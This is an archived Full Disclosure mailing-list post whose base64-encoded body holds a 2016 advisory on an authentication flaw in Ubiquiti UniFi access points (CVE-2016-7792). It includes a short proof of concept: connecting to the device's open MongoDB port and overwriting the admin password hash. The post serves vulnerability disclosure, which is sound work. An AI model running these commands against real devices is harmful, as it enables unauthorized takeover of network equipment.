Critical Vulnerability in Ubiquiti UniFi

Tim Schughart <[email protected]> Fri, 30 Sep 2016 11:49:26 +0200 (CEST)
Newsgroups gmane.comp.security.fulldisclosure,gmane.comp.security.bugtraq,gmane.comp.security.web-applications
Message-ID <595767868.209491.1475228966431.JavaMail.zimbra@prosec-networks.com>
SGVsbG8gQGFsbCwgCgp0b2dldGhlciB3aXRoIG15IGNvbGxlYWd1ZSB3ZSBmb3VuZCB0d28gdW5j
cml0aWNhbCB2dWxuZXJhYmlsaXRpZXMgeW91J2xsIGZpbmQgYmVsb3cuCgpQcm9kdWN0OiBVbmlG
aSBBUCBBQyBMaXRlClZlbmRvcjogVWJpcXVpdGkgTmV0d29ya3MgSW5jLiAKCkludGVybmFsIHJl
ZmVyZW5jZTogPyAoQnVnIElEKQpWdWxuZXJhYmlsaXR5IHR5cGU6IEluY29ycmVjdCBhY2Nlc3Mg
Y29udHJvbCAKVnVsbmVyYWJsZSB2ZXJzaW9uOiBVbmlmeSA1LjIuNyBhbmQgcG9zc2libGUgb3Ro
ZXIgdmVyc2lvbnMgYWZmZWN0ZWQgKG5vdCB0ZXN0ZWQpClZ1bG5lcmFibGUgY29tcG9uZW50OiBE
YXRhYmFzZQpSZXBvcnQgY29uZmlkZW5jZTogeWVzClNvbHV0aW9uIHN0YXR1czogTm90IGZpeGVk
IGJ5IFZlbmRvciwgdGhlIGJ1ZyBpcyBhIGZlYXR1cmUuIApGaXhlZCB2ZXJzaW9uczogLQpSZXNl
YXJjaGVyIGNyZWRpdHM6IFRpbSBTY2h1Z2hhcnQsIEltbWFudWVsIELDpHIsIEtoYW5oIFF1b2Mg
UGhhbSBvZiBQcm9TZWMgTmV0d29ya3MKU29sdXRpb24gZGF0ZTogLSAKUHVibGljIGRpc2Nsb3N1
cmU6IDIwMTYtMDktMzAKQ1ZFIHJlZmVyZW5jZTogQ1ZFLTIwMTYtNzc5MgpDVlNTdjM6IDguOCBB
VjpBL0FDOkwvUFI6Ti9VSTpOL1M6VS9DOkgvSTpIL0E6SCAKCgpWdWxuZXJhYmlsaXR5IERldGFp
bHM6CllvdSBhcmUgYWJsZSB0byBjb25uZWN0IHRvIHRoZSBhY2Nlc3MgcG9pbnRzIGRhdGFiYXNl
LCBiZWNhdXNlIG9mIGFuIGJyb2tlbiBhdXRoZW50aWNhdGlvbiAoT1dBU1AgVE9QMTApLiBTbyB5
b3UgYXJlIGFibGUgdG8gbW9kaWZ5IHRoZSBkYXRhYmFzZSBhbmQgcmVhZCB0aGUgZGF0YS4gQW4g
cG9zc2libGUgc2NlbmFyaW8geW91J2xsIGZpbmQgaW4gUG9DIHNlY3Rpb24uIAoKUmlzazoKQW4g
YXR0YWNrZXIgZ2V0cyBhY2Nlc3MgdG8gdGhlIGRhdGFiYXNlIGFuZCBmb3IgZS5nLiBpcyBhYmxl
IHRvIGNoYW5nZSB0aGUgYWRtaW5zIHBhc3N3b3JkLCBsaWtlIHlvdSBzZWUgaW4gUG9DIGJlbG93
LiAKClBvQzogCiAxLiBHZW5lcmF0ZSBTSEE1MTIgSGFzaCB3aXRoIGUuZy4KIG1rcGFzc3dkIC1t
IHNoYS01MTIKCiAyLiBDb25uZWN0IHZpYSBuZXR3b3JrIHRvIGRhdGFiYXNlLCBlLmcuIDoKIG1v
bmdvIC0tcG9ydCAyNzExNyAtLWhvc3QgdGFyZ2V0X2lwCgogMy4gQ2hhbmdlIHBhc3N3b3JkIHZp
YSBjb21tYW5kCiAiZGIuYWRtaW4udXBkYXRlKHsibmFtZSI6IlByb1NlYyJ9LCB7JHNldCA6IHsi
eF9zaGFkb3ciOgogIiQ2JFNlOWk1STdrM2hJOGQ0YmskQ3FFWFJVd2s3YzdBLzYyRS9IY0M0U3JN
U0xPckJkbTd3UnZ3VFM0dC5uTkpBM1JZdGEwUmZ6SnB1UkVnLnFjQUhzUEdXOUdqd20za3JKUk9Y
emJDdi4ifX0pIgogNC4gTG9naW4gdmlhIHdlYiBpbnRlcmZhY2Ugd2l0aCBuZXcgcGFzc3dvcmQK
CgpCZXN0IHJlZ2FyZHMgLyBNaXQgZnJldW5kbGljaGVuIEdyw7zDn2VuIAoKClRpbSBTY2h1Z2hh
cnQgCkNFTyAvIEdlc2Now6RmdHNmw7xocmVyICAKCi0tClByb1NlYyBOZXR3b3JrcyBlLksuIApF
bGxpbmdzaG9obCA4MiAgCjU2MDc3IEtvYmxlbnogCgpXZWJzaXRlOiBodHRwczovL3d3dy5wcm9z
ZWMtbmV0d29ya3MuY29tIApFLU1haWw6IHQuc2NodWdoYXJ0QHByb3NlYy5uZXR3b3Jrcy5jb20g
Ck1vYmlsZTogKzQ5ICgwKTE1NyA3OTAxIDU4MjYKUGhvbmU6ICs0OSAoMCkyNjEgNDUwIDkzMCA5
MCAgIAoKIlRoaXMgRS1NYWlsIGNvbW11bmljYXRpb24gbWF5IGNvbnRhaW4gQ09ORklERU5USUFM
LCBQUklWSUxFR0VEIGFuZC9vciBMRUdBTExZIFBST1RFQ1RFRCBpbmZvcm1hdGlvbiBhbmQgaXMg
aW50ZW5kZWQgb25seSBmb3IgdGhlIG5hbWVkIHJlY2lwaWVudChzKS4gQW55IHVuYXV0aG9yaXpl
ZCB1c2UsIGRpc3NlbWluYXRpb24sIGNvcHlpbmcgb3IgZm9yd2FyZGluZyBpcyBzdHJpY3RseSBw
cm9oaWJpdGVkLiBJZiB5b3UgYXJlIG5vdCB0aGUgaW50ZW5kZWQgcmVjaXBpZW50IGFuZCBoYXZl
IHJlY2VpdmVkIHRoaXMgZW1haWwgY29tbXVuaWNhdGlvbiBpbiBlcnJvciwgcGxlYXNlIG5vdGlm
eSB0aGUgc2VuZGVyIGltbWVkaWF0ZWx5LCBkZWxldGUgaXQgYW5kIGRlc3Ryb3kgYWxsIGNvcGll
cyBvZiB0aGlzIEUtTWFpbC4gVkFUIElEOiBERTI5MDY1NDcxNCBsZWdhbCBkb21pY2lsZSBLb2Js
ZW56LCBIUkEgMjE2MjUu4oCcCgoiRGllc2UgRS1NYWlsIE1pdHRlaWx1bmcga2FubiBWRVJUUkFV
TElDSEUsIGRlbSBCRVJVRlNHRUhFSU1OSVMgVU5URVJMSUVHRU5ERSB1bmQvb2RlciBSRUNIVExJ
Q0ggR0VTQ0jDnFRaVEUgSW5mb3JtYXRpb25lbiBlbnRoYWx0ZW4gdW5kIGlzdCBhdXNzY2hsaWXD
n2xpY2ggZsO8ciBkZW4vZGllIGdlbmFubnRlbiBBZHJlc3NhdGVuIGJlc3RpbW10LiBKZWRlIHVu
YmVmdWd0ZSBOdXR6dW5nLCBXZWl0ZXJnYWJlLCBWZXJ2aWVsZsOkbHRpZ3VuZyBvZGVyIFZlcnNl
bmR1bmcgaXN0IHN0cmVuZ3N0ZW5zIHZlcmJvdGVuLiBTb2xsdGVuIFNpZSBuaWNodCBkZXIgYW5n
ZWdlYmVuZSBBZHJlc3NhdCBzZWluIHVuZCBkaWVzZSBFLU1haWwgTWl0dGVpbHVuZyBpcnJ0w7xt
bGljaCBlcmhhbHRlbiBoYWJlbiwgaW5mb3JtaWVyZW4gU2llIGJpdHRlIHNvZm9ydCBkZW4gQWJz
ZW5kZXIsIGzDtnNjaGVuIGRpZXNlIEUtTWFpbCB1bmQgdmVybmljaHRlbiBhbGxlIEtvcGllbi4g
VVN0LUlkTnIuOiAgREUyOTA2NTQ3MTQsIEFtdHNnZXJpY2h0IEtvYmxlbnosIEhSQSAyMTYyNS4i
CgpfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwpTZW50IHRo
cm91Z2ggdGhlIEZ1bGwgRGlzY2xvc3VyZSBtYWlsaW5nIGxpc3QKaHR0cHM6Ly9ubWFwLm9yZy9t
YWlsbWFuL2xpc3RpbmZvL2Z1bGxkaXNjbG9zdXJlCldlYiBBcmNoaXZlcyAmIFJTUzogaHR0cDov
L3NlY2xpc3RzLm9yZy9mdWxsZGlzY2xvc3VyZS8=